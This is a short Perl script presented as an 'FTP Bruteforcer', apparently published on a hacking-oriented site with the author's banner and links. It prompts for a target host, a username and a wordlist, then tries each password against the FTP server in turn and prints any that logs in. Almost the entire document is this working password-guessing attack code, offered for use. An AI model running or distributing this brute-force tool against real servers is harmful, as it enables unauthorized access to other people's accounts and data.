Informatique-inside

#Perl
######################################################
#   Author  :  DevilAuron
#   Program :  FTP Bruteforcer v1 Beta
#   Email   :  songforthemoment[at]hotmail[dot]it
#   Site    :  http://devilsnight.altervista.org
######################################################
use Net::FTP;

&main;
sub main {
system("cls");
print q{
-----------------------------------------------------------------
                           Powered By
     .___          .__.__                                       
   __| _/_______  _|__|  |   _____   __ _________  ____   ____
  / __ |/ __ \  \/ /  |  |   \__  \ |  |  \_  __ \/  _ \ /    \
 / /_/ \  ___/\   /|  |  |__  / __ \|  |  /|  | \(  <_> )   |  \
 \____ |\___  >\_/ |__|____/ (____  /____/ |__|   \____/|___|  /
      \/    \/                    \/                         \/
                                                                 
                  www.devilsnight.altervista.org                 

-----------------------------------------------------------------
};
print "Insert Site Url: ";
$link = <STDIN>;
chomp($link);
print "Insert Username: ";
$uname = <STDIN>;
chomp($uname);
print "Insert Wordlist Path: ";
$wl = <STDIN>;
chomp($wl);
if(!-e $wl)
{ &main; }
else {
open( WL, "<", $wl);
   @brute = <WL>;
   $wlist = scalar(@brute);
for($i = 0; $i <= $wlist; $i++)
{
   $ftp = Net::FTP->new($link, Debug => 0);
   $pass = @brute[$i];
   chomp($pass);
   $force = $ftp->login($uname, $pass);
   if($force) { print "Password: $pass\nVisit http://devilsnight.altervista.org\n"; system("pause"); }
   $ftp->quit;
   
&main;
}}}